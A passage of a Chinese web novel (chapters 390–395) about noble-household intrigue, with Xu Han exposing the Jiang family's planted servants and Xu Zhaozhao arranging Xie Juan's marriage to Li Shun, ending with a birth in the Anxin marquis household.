两人的纸条不一样,顾东阳的上面有三个名字,还有对方当差的时间和具体差事;崔玄正的那张纸条上则是写了四个名字,同样有对方入侯府的时间和具体差事。 这其中,两人手上的名字里,都有他们熟悉的家生子。 “这是?” “刚不是说了嘛,这是我媳妇顺着那些产业查的时候,结果就查出这些了。把我媳妇给吓坏了,昨儿晚上把这消息给的我,就怕再被姜家给报复了,说什么也不敢再沾手了。” 顾东阳和崔玄正都不是傻子,自然立马就明白过来。 “你说姜家对姜宁的陪嫁下手了?” “啊!可不嘛!我家跟姜家可是有仇,这事儿也不瞒你们,那个姜宁三番五次地想要害我家昭昭,当初我家老二成亲前差点儿出事,还是姜宁挑拨着邓家做的。自那以后,我就特意安排人盯着姜家的一举一动。 前天得了消息,说是姜延辉开始插手姜宁的那些陪嫁产业,但是不图钱,好像就是为了收拢她手上的部分势力。所以我和媳妇就商量着怎么着也得宰他一刀呀。 结果谁能想到,会查出这么惊吓的消息。我跟你们两个老小子说,这事儿没完!这狗东西还敢在我们侯府安插眼线了,老子饶不了她!反正消息我给你们了,我媳妇儿都被吓病了,你们两个可得表示表示,啥燕窝人参的,我可不嫌弃,多多益善!” 顾东阳一时间有些哭笑不得,现在是说这话的时候吗? 崔玄正则是直接得多。 “你滚!弟妹是那么容易被吓着的?少在这里诓我!” 第390章 不按套路出牌的许翰 许翰自诩是粗人,所以做事时常没有章法。 他直接就让人把那两个下人给绑了,然后直接去姜府要说法。 两人早就被许翰给打了一顿,供词自然也有。 但许翰做事绝呀。 “姜大人,我也不让你为难。既然你们姜家人觉得我侯府的下人都是能干的,那就干脆都转卖给你就成。这是他们二人的卖身契,我也不多要你的。一人五十贯,两人给你便宜一些,一百二十贯,给钱吧!” 姜延平都要被气个倒仰。 什么叫便宜一些,一百二十贯? 有这么算账的吗? 但是没办法,就许翰这种人,轻易得罪不得,关键这次的事情是他们不占理。 姜延平想到父亲还没痊愈,姜宁又让人查出这等事情来,最后还得让姜家背锅,气个半死! 姜延平是文人,到底还是舍不下脸面,命人备上钱,再将这两个下人的卖身契给接过来。 “哦,对了。我媳妇因为查出来这二人背主,还被气得卧病在床了。当然,我们许家倒也不缺这些汤药钱,只是想要提醒姜大人一声,自己家的人,还是要管好的,再有下回,我许翰可不是这么好说话的了。” 这是警告! 姜延平知道许翰的性子,他要是想杀人了,可不管是不是合法,先把人杀了,心里头痛快再说。 况且,许翰的背后站的可是陛下! 姜家受重用,但是在陛下跟前是远不及许翰更受宠的。 毕竟许翰和陛下是多年的情谊。 这一回,又是生吞下一个哑巴亏。 许翰人都快走出姜家大门了,又被人拦住。 许翰打眼一瞧,是姜延辉。 姜延辉身后还有人跟着,捧着托盘。 “许侯爷,一切都是我那个不成器的侄女的错,您大人有大量,就饶她一回。她早已嫁人,我们姜家也不能时时刻刻地盯着她,但是您放心,日后若是姜宁再有错处,我们一定不饶她。” 姜延辉话落,一抬手,下人将托盘往前一送,上面的红布揭开,里面是几块银铤。 “好吧,既然姜大人如此有诚意,那我许某就厚着脸皮收下了。这次的事情,我可以当是小辈不懂规矩,切不可再有第二次。” “许侯爷宽心,一定不会。也请侯爷能对这件事就此闭口不谈,我姜家必然感激于五内。” “好。你姜延辉会做事,我许翰也不是个喜欢较真的。那就这样,此事已了,回头咱们去芙蓉楼吃酒。” “我送侯爷。” 崔玄正和顾东阳自然不会学许翰。 这作派实在是太痞了些。 顾东阳是文臣,崔玄正如今是兵部侍郎,而且还是陛下的表弟,当然不可能学许翰。 但是他们两个显然也不是吃素的。 二人将各自府里背主之人处置了,然后就是统一针对姜家。 无论是姜家在外任上的官员,还是在国子监读书的书生,又或者是在外自谋生路的旁支等等。 反正只要是能针对的,都得被他们两个针对。 此事瞒不住,很快,姜延平和姜延辉便知道了近来处处受挫,行事不顺的主要原因。 兄弟二人没敢将此事禀报父亲,主要是现在姜太傅才刚刚可以下床,这等关键时刻,可不敢再让他老人家气着了。 砰! 姜延平气得一巴掌将茶盏扫至地上,碎裂的瓷片迸飞,并且在一名服侍的下人脸上划过一淡浅浅的红痕。 但是由始至终,这名丫环都没挪动一下。 直到姜延辉给出眼神示意,几名下人才开始收拾。 “大哥,这件事咱们也只能如此了。好在现在姜宁外面的一些势力都被咱们收拢了,应该不会再出类似的事情。不过,姜宁做事不小心是其一,但是到底是何人将此事捅出来的?” 姜延平眼神一凛:“你怀疑这背后有人借刀杀人?” “不是没有这种可能。这次咱们是面子里子都要折损一些。我已经给那几位堂弟、堂侄都送上了一份程仪,应该不至于让他们对咱们心生怨恨。但是调入南疆的那位,咱们真地没有办法了吗?” 姜延辉此言一出,姜延平也跟着头大。 那位堂弟是真正有本事的,自己以科举入仕,而且也的的确确是在地方上做出了政绩的。 原本他们的打算是将人调入京城,然后给他铺路至吏部的。 可是谁能想到,却在这个节骨眼上,得罪了曲家。 “现在的苗头都不太对,咱们得罪的人似乎越来越多,不利于咱们姜家的发展。大哥,若是可以,咱们还是要舍出一些好处,适当地拉拢一下才好。” 姜延平此时的怒气已然消减不少。 比起生姜宁的气来,还是正事更为重要。 “这件事你去办吧。这些日子,我就把主要精力放在讨好顾尚书和崔侯爷那里。尤其是崔侯爷,咱们姜家先后得罪了人家两次,这实在是不像话。若换成了我,也定然会勃然大怒的。” 姜延辉点头:“大哥所言极是。这样,那需要调用银钱的事,我就不来麻烦你了,至于几个小官职,咱们也该舍便舍吧。” 姜延平深吸一口气后,还是重重点头。 事已至此,别无他法。 总得想办法换回一下姜家的声誉才好。 好在先前能顾府、信宁侯府送上的赔礼,对方都收了,要不然,他们才是真地要心慌了。 只要收了礼,那么这件事就不会被传出去,姜家的体面就还在,至少等姜太傅再回到朝堂的时候,不至于被人挤兑。 临近午时,姜延辉从外面回来,还没来得及回院子换衣裳,就被宋氏给拦住了。 “父亲那里一直在等你,说是有事要交待你去办。” 姜延辉叹气,他这劳碌命哦! “我知道了,你先回,我一会儿过去用些饭菜,你再帮我备好衣裳。” “是,老爷。” 姜太傅此时正在堂内,对着一只鸟发呆。 “儿子给父亲请安!” 姜太傅头也没回:“过来说话。” 姜延辉连忙脚步放缓放轻地过来。 “近来姜家的情况不对劲,我先前以为这幕后主使是许翰,可是从许翰近来的表现看,又不太像。还得你辛苦一些,尽快查出背后之人。” 第391章 暂时消停 姜延辉想要查,自然会动用手上的一些暗势力。 但是将姜宁给曝露出来时,许昭昭就已经将一切都算计好了。 不怪许昭昭下手狠呀,实在是姜宁以前得罪的人太多了。 这其中,除了乐阳郡主之外,还有宁朔公主、云凝长公主等等。 许昭昭只需要稍稍使一些手段,就会让姜延辉的查探方向被误导。 所以,最后交到姜太傅手上时,是有几家势力同时对姜宁发难,所以才会有了这样一个结果。 姜太傅很生气,但是又已经无回天之力。 眼下,除了尽快与这些人搞好关系之外,就是一定约束好姜宁,千万不能再让她出事了。 姜延辉给出了个主意,姜太傅准了。 第二天,宋氏就带着两位年长的嬷嬷过来,先给忠王妃请安。 “姜宁年纪小,又是头一回生女,可能不太会照顾孩子,父亲得知后,便让我做主选几个有经验又可靠的仆役过来,也省得姜宁再给王妃添麻烦。” 赵月大概能猜到对方的来意,微微点头:“夫人直管去看望姜孺人,她近日来心情不佳,自然也影响到了孩子,我本也正为此事头疼,夫人一来,我心里便能踏实了。” 宋氏当然能听得出来王妃的用意,场面话嘛,谁不会说? 宋氏此行,给姜宁留下了两位嬷嬷,并且带走了姜宁的两名陪嫁丫头。 这二人,正是先前帮着姜宁跑腿,一直频频与外面的暗线联络,可以说是姜宁的眼睛和耳朵了。 这二人被带走,姜宁竟是无力阻拦。 直至此时,她才意识到,自己可能陷入了更大的困境。 至此,许昭昭才算是能真正安心地来专注自己要做的事,可不用再天天防备着姜宁又出什么幺蛾子了。 许君清要成亲了,侯府上下自然是一片喜色。 许昭昭和谢铮自然也要抽空回去一趟。 许昭昭现在是外嫁女,用侯府下人对她的称呼,那就是姑奶奶了,自然不可能再让她累着。 所以许昭昭就只是负责吃吃喝喝,然后就是哄着小侄子跟在她身边。 许昭昭是真喜欢这个侄子,不仅长的虎头虎脑的,而且嘴巴还特别甜,一口一个姑姑的叫着,把许昭昭的心都要甜化了。 “大嫂,如今家里头的事情也不少,你这里又有了,要不,让我把小老虎带走养几天吧。” 张氏一愣:“这怎么能行?你自己手头上的事也不少呢,这孩子去了指定要给你闯祸的。你别看他现在乖巧,实际上这就是个混小子,什么闯祸的事都少不了他!” 小老虎不高兴了,撅嘴道:“母亲又说我坏话,我没做坏事。” 许昭昭笑着摸摸他的头:“好孩子,我就知道我们小老虎最乖了。姑姑带你去百果园好不好?那里还有仙鹤呢,你可见过?” 小老虎一听,眼睛都要直了。 “仙鹤?真的吗?我想去!” 许昭昭笑了,先把小的给哄住了,大的就好劝了。 张氏笑笑,她没说答应,也没说不答应,因为她知道小老虎是侯府长孙,可不是她说如何便能如何的。 许君安听到后倒觉得无所谓,而且小老虎喜欢昭昭,愿意跟她一起多处也是好事,反正昭昭现在没有孩子,兴许让她带带小老虎,还能很快就给谢家带去个好消息呢。 离成婚还有几日呢,现在府里上下虽然忙碌,但是尚未披红挂彩,许昭昭和谢铮来这一趟,主要也是看看能不能帮上什么忙。 许君清是书生,自然是文人作派。 “三郎,届时我迎亲,若遇上武力堵门的,还得靠你和二哥才行。” 许君锋没在,这会儿在宫中当值呢,谢铮自然是痛快应下:“四哥放心,咱们迎亲时,那可是文武齐全,没什么好怕的!就是四哥娶回新娘子来之后,可不能把我们这些功臣都忘了才好。” 男人们几句玩笑话,这感情就能拉近一大截。 最后离开的时候,许昭昭就真把小老虎给带走了。 王若兰和许翰都没有意见,负责照顾小老虎饮食起居的嬷嬷也只跟过去一个,张氏没有意见,只是让人收拾了几套换洗衣物。 安和县主快要生了,这会儿肚子太大,没有什么特别要紧的事,都不出自己院子了,而且王若兰也特意嘱咐过,所有人只要是看到二少夫人了,不管在做什么,都得先把事情放下,先顾着二少夫人才行。 可以说侯府上下,把安和县主和李明雅都当成稀世珍宝来照顾了。 张氏这里,王若兰没有那么上心,主要是因为张氏不是头一胎了,她有经验,而且她身边伺候的人也都是以前就一直照顾着过来的。 所以这个时候许昭昭将小老虎接走,王若兰也觉得是好事。 家里头要办喜事了,几个儿媳妇还都大着肚子,就算是不需要她这个婆婆亲自照顾,但总是要操心的。 许昭昭把小老虎带回去,当天晚上就自己带着小老虎去睡了,直接把谢铮给晾一边。 谢铮倒是没有恼,甚至对小老虎更好了。 但是半夜,许昭昭睡得正香的时候,就被谢铮给抱回去了。 当然,不可能只是抱回去那么简单,而被扰了清梦的许昭昭自然是心情不好,次日一早就开始发脾气。 但是没用。 因为谢铮进宫了。 中午,谢铮又回来了。 许昭昭这才想到,今天晚上谢铮要进宫当值,所以昨天晚上才故意闹那么一出? 这么一想吧,许昭昭也就不气了。 谢铮给小老虎弄了一把木剑,可把孩子给高兴坏了。 “姑父,我的剑好短呀!” “嗯,等你长大了,姑父就给你打造一把真正的长剑,让我们小老虎威武无比,好不好?” “好!” 小老虎现在理解不了他说的话,但是听懂说以后会给他更好的了。 “明天休沐?” 谢铮点头:“明天我护送你们去百果园。” 许昭昭想想也行,不差这一半天的。 晚饭前,于氏派人来请许昭昭。 “这是曲家送来的,老夫人那里也已经知道了,现在叫你过来,就是想问问你的意思。” 第392章 失礼在先 许昭昭还真有些意外。 曲家的一位年轻郎君竟然想要求娶谢娟? 许昭昭再仔细看过之后,这才明白了。 这位曲家的年轻郎君,是曲家同族,但怕是连旁支都算不上。 这么说吧,这位曲郎君的高祖父,算是曲家嫡系这边长辈的堂亲。 所以,其实就是很远了。 但说起来,也是曲氏族人。 “二婶婶可认得这位郎君?” 于氏摇头:“我年纪大一些,若是小娘子兴许还能有几分熟识,可一位年轻的后生,我是真没有印象。” “那祖母的意思是?” “老夫人倒是不反对,但还是那句话,我们对这位后生都不熟悉,所以问问你的意思。若是你也没有意见,那便派人好好去打听一下,至少要知道这人的品性如何,然后再决定要不要进一步谈。” “也好,便依祖母的意思吧。” 相看也不急于一时,所以许昭昭还是带着小老虎去了百果园。 谢铮只在这里停留一天,便返回京城了。 小老虎在百果园明显更兴奋,也更开心。 许昭昭也能理解,小孩子嘛,天生就喜欢小动物,而且对于自己以前没有见过的东西,更容易产生好奇心和某种偏爱。 不过他们也没能在这里多住几天,一是因为曲家那边有消息了,二来也是许君清的婚期也快到了。 小老虎不想走,许昭昭哄了半天,最后许诺,等他四叔成完亲后,再带他过来这里小住,小老虎这才同意了。 小老虎现在年纪小,但是已经长得很敦实了。 不是简单的胖,而是那种浑身上下都很有劲儿。 用许翰的话说,这妥妥就是一个武将的苗子呀。 许君安身为世子,所以之前许翰出征时,一直都避开带他上战场,而且对于许君安的要求,也明显比对其它两个儿子更高。 端方君子,文武双全,其实说的就是许君安这样的公子。 现在他的儿子,才这么一点大,就能显现出武将的苗头,许翰自然是高兴的。 这可是长子长孙,以后是要继承安信侯府的。 所以,小老虎现在虽然小,但是许翰和许君安已经在有意无意地为他灌输一些常识了。 只怕用不了几年,小老虎就别想再这么痛快地玩耍了。 这么一寻思,许昭昭还挺心疼这孩子的。 于氏和许昭昭一起去了曲府,不过,不是为了相看,而是要将话说清楚。 “曲夫人愿意为小辈们着想,这是您做长辈的慈爱,只是这姻缘一事上,还得你情我愿才好。既然那位公子已经心有所属,我们也不好夺人所爱。此事作罢,曲夫人以为如何?” 于氏这话已经很给曲夫人面子了。 毕竟这媒是曲夫人想做的,谁知道那个混帐东西不争气,让人撞见了他与一女子拉拉扯扯。 既然如此,那也怨不得别人。 “于妹妹这话就是在打我脸了。我也不知道那孩子早已有了意中人,也怪我没问清楚。说起来,我也有两年没见过那孩子了,还是上次与他母亲一起说话时,才提到了婚事。此事怪我,等回头得空了,我摆上一桌好酒向你们赔罪。” 于氏连连说不敢。 而许昭昭则是笑道:“曲夫人,赔罪这话可谈不上。不过早就听闻您府上的厨娘厉害,若是有机会了,定然要上门讨杯酒吃。” 一番话将曲夫人哄得开心起来:“县主说话就是中听,难怪陛下和皇后都对你喜欢得很,尤其是皇后,但凡是我进宫,不出三句,必然就要提到你身上。哎呀,说起来,我这里的红茶可不多了。” 最后一句,显然是在故意打趣许昭昭呢。 几人说说笑笑间,也没了原先的那股子尴尬,总算是圆满收场。 但曲夫人心里头可真不能松懈下来,赶紧换衣服,进宫请安。 皇后听闻事情的始末后,也只觉得是那个混帐东西不成器。 这么好的一门亲事,竟然还没来得及提,就黄了。 “此事你可着人问清楚了?当真是那咱们曲家失礼在先?” “回娘娘,臣妇已经问清楚了,六郎的确是在外面与一女子纠缠不休,不过听闻那女子家出身不太好,六郎的父母皆不同意,但六郎一直坚持要娶,还放话说此生非她不娶。” 这么说来,就是真的无缘了。 “罢了,既然如此,那就当咱们从未提过。不过,安乐是个好孩子,三郎也一直很得陛下看重,就算是亲事不成,咱们也不可交恶。” “是,娘娘。” 皇后深吸一口气,想到安王,又是一阵头疼。 “安王近来与忠王斗得明显,我虽为皇后,也不好总将他唤进宫里来说话,况且他也是当爹的人了,我的话,他也未必听。还得劳烦嫂嫂回去后与兄长说说,让他好好教训安王,莫要失了身份。” “娘娘多虑了。安王与忠王之间的明争暗斗,也不是现在才开始。而且忠王本就是庶子,理当摆清自己的位置。不过娘娘发话了,臣妇一定将话带到,老爷还想着要不要再为安王殿下寻几位先生呢。” 安王虽然成亲了。 但是陛下一直未立太子,就算是安王当爹了,那也得学习。 当然,现在请过来的先生,名为师长,实则为幕僚。 “外面的这些,本宫也不懂,就由兄长做主便好。不过,还是要报请陛下,不可擅专。” 曲世绩虽是舅舅,但安王是皇帝的儿子,所以,有些事必须要经由陛下点头才行。 “娘娘,其实臣妇还有一事想问问娘娘的意见。” “你说。” “您可还记得老爷膝下的五郎?” “有些印象,但是有些淡了。” 曲五郎是曲世绩的庶子,而且因为身体原因,所以一直未能入朝为官。 但是曲五郎自己的才学还是不差的。 “您觉得五郎与谢家七姑娘,可般配?” 这还真把皇后给问住了。 一个是实权高官家的庶子,一个是国公府的庶女,按说,这身份上倒是般配。 只是,才出了一档子事,现在再贸然提及曲五郎,就不合时宜了。 “先等等吧,待安信侯府办完喜事再议。” “是,娘娘。” 第393章 想促成这门婚事 因为许君清的婚事,所以许昭昭直接就搬回侯府去住着了。 最高兴的,就是许翰和王若兰了。 当然,小老虎得知姑姑住进来之后,也就赖进紫园,不肯走了。 许昭昭已经不算侯府主人,而是贵客的身份了,所以她平时也不怎么插手婚礼布置的事,只是安心带带孩子,倒是省心。 许老夫人那里,许昭昭住回来了,自然要每天都过去请安问好,否则老夫人定然又要挑理。 不过,现在的老夫人许是看明白了一些事,所以对自家的这些小辈们,不怎么挑剔了。 但许君清成婚,许琳这个亲姑姑,自然也是要回来的。 许琳带着孙淮之的媳妇杨氏和小孙子在身边,但凡是有人过来送礼,她便跟着一起迎出来,其实这多少有些不合规矩。 一般而言,若是许家的亲戚们来,许琳前去说话是再正常不过的。 但若是一些官眷之间的来往,许琳再凑过去就属于不懂事了。 在这个等级森严的社会,一二三品官员的内眷们属于可以一起坐着喝茶的关系,但是你许琳,显然就没有这个资格了。 一品官员在大兴基本上都必于吉祥物,真正实权在手的,基本上都是二品、三品大员。 许翰虽然只担任一个大将军,平时不打仗的时候,闲得发慌,但他还是安信侯呀,而且他的三个儿子是一个比一个有出息。 当然,最最重要的一点是,许翰可是皇上曾经的伴读,是正儿八经跟皇帝一起长大的。 就冲着他想上朝就上朝,想不去就不去这一点来看,那也绝对是属于顶级权贵的。 现在不知道多少的勋贵家夫人都悔青了肠子,当初怎么没早点儿对许家的几位公子下手呀。 就这位四公子日后的前程也不会差。 许君安是世子,日后要承袭安信侯府,而许君锋则是靠着战功,自己在战场上给自己拼了个小爵位;至于许君霆就更厉害了,硬生生靠着跟一帮泥腿子一起下田试种,也给自己挣了个男爵,啧,这许家,了不得哦! 许翰的三个儿子,如今个个身上都有爵位,日后只要不造反不叛国,那定然是不愁富贵了。 许君清成亲,整个侯府热闹了五天。 王若兰还特意安排人到城门外架起了几口大锅,免费供应了五天的米粥。 李氏得知后,自然是对这位嫂嫂尤为感激。 一切都进展顺利,新娘子也娶回了家,侯府的四位郎君总算是都娶妻了。 当然,许文还有一个庶子呢,但是对于这样的高门而言,庶子都是可以忽略不计的。 对许翰而言,他认可的侄子只有许君清这一个,而对于许文而言,他总共就两个儿子,当然不能不认庶子,况且庶子表现也还不错,只要家中和睦,其它的都不是那么紧要。 谢娟与曲家的婚事是不成了,而且曲家的庶公子还曾因为与李家议亲时闹出一桩抢夺亲事的戏码,所以许昭昭也不愿意考虑曲家的庶子。 郑拓是谢啸林带过的兵,如今也算是小有成就。 而谢娟明显是更中意文人,所以,要么从一些世家子中选出旁支或者是庶子来,要么就是选一位从底层上来的举人或者是官员。 比如说付沛那样的人。 给谢娟找未来夫婿,比给谢婵找可是要费劲多了。 真要是找一个从普通人爬上来的,谁知道谢娟会不会嫌弃? 反正不能给谢娟找一个庶子为夫,尤其是得找一个家世简单的人家才行。 就谢娟那没脑子的样子,真把她嫁入高门去,只怕是活不了两集就得下线。 许昭昭这边正在犯愁,王若兰和李氏登门了。 许昭昭还往她俩身后张望呢:“我四嫂嫂怎么没来?” 王若兰轻拍一下她的胳膊:“又乱说话!你四嫂嫂还是新妇,怎好出门?” 许昭昭捂嘴偷笑:“是我的错,咱们快进屋说话。” 安和县主的产期也快到了,所以王若兰示意弟妹赶紧说正事,还得赶着回去呢。 李氏笑道:“我有一位堂侄,家境简单,他自己也是读书人,只不过没走科举的路子,他父亲原也是个小官,但是后来身体不好,临走前,倒是给他安排了一份差事,如今也算是顶着一个从七品的官身了。” 不到二十岁,从七品的官身,的确是很不错了。 只是,这位李公子上面没有了男性长辈,以后这仕途? “我那位堂嫂还健在呢,侄儿也算是家族里为数不多的文官,且这两年的差事办得也还不错。” 李氏没有明说,但是能听得出来,李氏家族不会放弃一个有前途的后生。 许昭昭又细问了这位叫李顺的一些细节,比如说多大了,有无兄弟姐妹,母亲是出自哪家呀等等。 等到问完,许昭昭心里就有数了。 “行,待回头我将这些都记下来,然后再请老夫人和父亲都过目,若是他们觉得没问题,那便相看相看。” “好!”李氏满意地点头,她这次来,就是想要把这桩亲事促成。 其实李氏是真喜欢那个侄子,只是可惜了,如果他爹没有早死的话,兴许这仕途上能更顺利一些。 可是自己的兄长是武将,在文官这一块,还真帮不上太大的忙。 但是许昭昭不一样呀。 如果侄子真能娶了谢家女,那兴许以后仕途上能有帮助,而且这样简单的家庭,也能让昭昭更放心。 李氏正是因为知道许昭昭不愿意沾麻烦的性子,所以才会想着促成这门亲事,主要是两家这方方面面也合适,谁让谢娟是庶女呢,而他侄子可是正经的嫡子,而且还是官身。 许昭昭把许柱子叫过来,让他去打听一下这个李顺,之后便去请示于氏了。 二人一同到老夫人这里,许昭昭把李顺的情况又简单说一遍,老夫人还是很满意的。 “倒是不错,而且这么年轻,已经是从七品了,家里也简单,只有一位弟弟,等过几年帮着弟弟成了亲,直接分家便更安生了。” 第394章 试探 这个李顺的家境还行,比郑拓要好一些。 至少李顺的父亲是真心为他着想的,要不然也不会临死前,还能请求自己的好友为儿子谋一条出路。 这样算是不错的了。 而且李顺也留下了不少的家产,起码衣食温饱是不愁的。 许昭昭得了长辈的允许之后,就让许柱子去细查。 李顺因为是家中嫡长子,所以日后家中产业至少有六成都是他的,而且母亲也是要跟着他一起生活,由他供养的。 不过,许昭昭看过李顺的一些言行举止之后,觉得他不会轻易分家。 毕竟就只有他们两兄弟了,而且其母亲还在世,就算是成婚了,也不可能分家。 这倒是还好,只要长辈不是糊涂虫就行。 李顺的弟弟如今还在读书,而且并不是那种喜欢铺张浪费的性子。 “主子,这是目前李家如今的产业,所有的尽数都查到了。” “好,辛苦你了。” 许柱子嘿嘿一笑:“不敢,这都是小的该做的。” 许昭昭没看他,所以也没注意到许柱子那笑意明显就跟以往不一样。 许昭昭全都翻了一遍,对于李顺的家境也有更深切的了解了。 李家如今有田产六百七十亩,其中有两百余亩,都离京较远。 除此之外,还有老宅一处,就在京中长安县,另有一处别院,但不在京城,还有商铺两处,商铺的房契也是李家的,目前一家是做布匹生意,还有一处是书斋。 许柱子不愧是被许昭昭看中的人,连这两家铺子这几年的营收都查出来了,数据上不是那么详尽,但应该是大差不差。 两处商铺,一年的纯收入大概是一百二十贯钱,田产的收益更少一些,更多的还是粮食和一些菜品、鸡鸭等物。 除此之外,就是李顺自己的俸禄了。 这么算下来,这一家子人的收入与开销还算是合理。 李家如今从老夫人一直到最下面守门的小厮,总共养了十四个,其中大部分都是家生子。 还行。 只要谢娟嫁过去后,不是让她拿嫁妆贴补,那么问题就不大。 可关键有些事,也得看新妇和婆婆都是什么性子。 现在这些,可看不出来李顺的母亲是什么样的人。 万一等成婚之后,便时时敲打谢娟,那可就不妙了。 所以,许昭昭决定还是先相看,之后若是二人有意,那么她再想办法敲打一下李顺。 一切进展顺利,谢娟对李顺也很满意,主要是家中人口简单,而且自己嫁过去之后就是长嫂,日后有弟妹进门,她也能端一端架子。 总之,嫁嫡长子,总比嫁庶子要好。 谢娟的名声其实要比谢婵好一些,毕竟谢娟不曾被退婚。 但坏就坏在,谢娟有一个多事的姨娘。 许昭昭在得知双方都有意之后,便命许柱子在外面邀请了李顺吃茶。 当然,实际上到地儿的,是谢铮和许昭昭。 许昭昭虽然心大,但也知道不能随意地在外面私会外男,这次事关谢娟的婚事,也不好让许柱子等人在旁听着,所以谢铮陪她来,自然是最好的。 “下官见过中郎将,见过县主。” “免礼,此处没有外人,李大人请坐。” 李顺如今是国子监主簿,听起来还不错,但实际上却有些尴尬。 李顺如今年纪还小,所以坐这个位置自然不会显得无能。 可若是无人扶持,李家在这方面又没有什么渠道的话,那这个位置,他至少还要再干十年。 十年之后,他是否能升官,还不一定。 谢铮先和李顺简单聊了几句,得知李顺计划择日上门提亲,谢铮倒是很满意。 若是只口头上许诺,那便是欺人了。 “李大人,七姑娘虽然只是我们国公府的庶女,但我家夫君的亲妹妹不多,总共只有两个。李大人可要想好了,若是日后你们李家待七姑娘不好了,届时极有可能会迎接整个国公府的怒火!” 许昭昭就是故意激一下李顺,想看看他到底是何反应。 “县主多虑了。我家中母亲慈祥和蔼,若是有幸得七姑娘垂怜,进门后自然是要执掌内宅,何人敢欺负她?至于家中还有一位幼弟,大多数时候也是住在书院,鲜少回来。” 言外之意,家中人口少,所以没有那么多的事。 许昭昭浅笑:“话虽如此,但我刚刚的话,可并非是危言耸听哦。” “县主放心,若当真是下官有负于七姑娘,必然愿意承担所有后果。” 这话听着还行。 至少觉得他还是个有提当的! “也罢。我再问你,护国公府基本上都是以武将为主,如今我夫君也同样是武将,而你是文官,你就不怕日后娶了七姑娘后,得不到岳家助力,不能助你高升吗?” 李顺苦笑:“是我自己技不如人。若我当初能选择科举这条路,兴许就不一样了。但总而言之,男人的前途,怎可系于一女子身上?这岂非荒谬!” 许昭昭挑眉,听上去还挺有志气的。 “李大人,不知你对于自己的前程,是如何打算的?”谢铮一手握住许昭昭的手腕,得罪人的事,不能都让自己媳妇来做。 李顺沉默片刻后,干脆起身,再深作一揖。 “禀中郎将,下官对于未来,其实并没有过多的想法。在这个位置上干多久,是否会得到重用升迁,这些下官都不敢想。若是七姑娘想要嫁的是日后权势在手的如意郎君,只怕下官不配。” 许昭昭微微歪头,这人脑子还挺清楚的,对自己认知很清晰,而且也很客观。 不错! 这种人,若是日后不犯大错,倒也可以培养一二。 现在只是一介小官,谢娟能与他一起携手并进,日后再同富贵,至少不会让李顺埋怨她。 “李大人何故如此严肃?我家夫君也只是顺口问问,并无他意。看来李大人倒是心思颇多。” 李顺一时间表情尴尬,杵在那里,站也不是,坐也不是。 许昭昭看他这个表情就觉得好笑。 “李大人快快请坐吧,不知情的,还以为是我和夫君在故意为难你。” 第395章 安和县主生了 一番交谈过后,许昭昭对李顺的了解自然更深一些,但是不急。 只是一次聊天,什么也代表不了。 谢娟和李顺的婚事定下,接下来就该筹备嫁妆,而李家的意思是希望能尽快成亲,主要是因为李母的身体不太好,她担心自己见不到孙子的出生,所以想要让儿子早些完婚。 郑拓和谢婵的婚事定在了秋后,谢娟比谢婵要小一些,所以婚事定在他们成婚后一个月。 也就是说,今年国公府要筹备两场婚事,而且都是嫁女。 现在谢婵的嫁妆还没有备齐呢,至少许昭昭是觉得没备齐呢,总觉得还差了些什么。 谢娟定亲晚,自然也不敢在这方面催促,她只愿许昭昭能对她和谢婵一视同仁即可。 完全一模一样,自然是不可能的。 但是公中和谢啸林给两位姑娘备的嫁妆都是一样的。 就算是在某件器物上稍有不同,但是价值基本等同。 许昭昭先前给谢婵添署嫁妆时,就曾考虑到这一点,所以备下的都是双份。 如今直接将另一份也抬去谢娟的院子里锁好,也就成了。 谢娟见到如此丰厚的嫁妆,心中对嫂嫂更为感激,同时也庆幸自己没有听姨娘的话与兄嫂远了,否则,自己日后受了委屈,还能找谁做主? 许昭昭一大早,也没来得及用早膳,就急匆匆地往侯府赶。 谢铮昨夜当值,刚进府门,得知许昭昭回侯府,说是侯府二少夫人临产,他犹豫一下后,还是扭头就去了安信侯府。 许昭昭陪在王若兰身边,偶尔劝上两句。 但是再怎么劝,产房里一直没动静,也实在是令人担忧。 许昭昭倒是不觉得很危险,产婆已经让人去熬催产汤了,到时候自己过一下手,应该可以帮到二嫂。 谢铮也来了,不过他和许君霆一样,都在院外。 许君锋在院子里走来走动,一会儿问一句,一会儿又问时辰的,王若兰嫌弃他碍事,干脆让人把他摁在凳子上动不了。 许君锋想争辩,王若兰一个眼神过去,他立马就老实了。 很快,许翰也听到消息回来了。 到院门外,看到自己的两个儿子和一个女婿都在,就知道里面还没动静。 “老二在里面吗?” 许君安点头:“在的。先前还总听到他问来问去的,现在老实了,应该是被母亲给骂了。” 许翰点头:“行吧,咱们都站在这里也顶不上事,走吧,那边的亭子里坐着,让人上些茶点,顺便聊聊你们这些日子都做了什么。” “是,父亲。” “是,岳父。” 四个大男人转移到了不远处的亭子里,这一坐,就是将近一个时辰。 谢铮还好一些,总共没喝两杯茶。 但是许君霆有些紧张,茶喝了不少,刚刚去了一趟净房回来。 “还没动静吗?大哥,当初大嫂生小老虎的时候,也这么难吗?” 安和县主是昨天晚上发动的,王若兰昨晚上就过去坐着了,这么长时间,许翰也有点儿心疼媳妇。 “老三,要不你进去问问?” 许君霆嘴角一抽:“爹,不合适吧?” “有什么不合适的?你就问问你母亲,看看她是否还能坐得住,不行就先回去休息,我让你二婶过来盯着些。” “爹,您别白费心了,二婶早就进去了,而且昭昭和四弟妹也在呢。” 许翰一听,立马又有些沮丧。 还想着能把媳妇换出来,让她回屋躺一躺呢。 谢铮的耳朵突然动了一下:“生了!” “嗯?” 刚刚父子几人在说话,所以没注意听,现在都屏住呼吸,还真就听到了微弱的婴儿啼哭声。 许翰眉毛一拧:“怎么声音这么弱?难不成这孩子身体不行?” 许君安无奈道:“爹,咱们离着那边还隔着两道墙呢,哪能听得真切?现在既然生了,那咱们也都过去看看吧。” 许翰早就坐不住了,大步往里走。 孩子从产房出来,就给坐在堂屋的王若兰几人看一眼,之后就送去哺乳。 至于安和县主,现在因为脱力,已经昏睡过去。 至于许君锋,也在看到自己的孩子之后,就进去守着媳妇了。 所以等到许翰等人过来,王若兰几人都已经从堂屋里出来了。 “生了?” 王若兰笑得像个菩萨:“生了个儿子,恭喜侯爷,你又当祖父了。” 许翰哈哈大笑,一手插腰:“我儿英勇!” 王若兰立马收笑,瞪一眼过去,有你这么夸人的吗? 李氏偷笑一下,随后也冲许翰道过喜,带着儿媳妇先回去了。 安和县主生下一名男婴,自然是很快就传遍了京城。 不少人都羡慕王若兰,这人的命是真好呀。 小林氏坐在于氏这里吃茶,听到消息后也是跟着泛酸水儿。 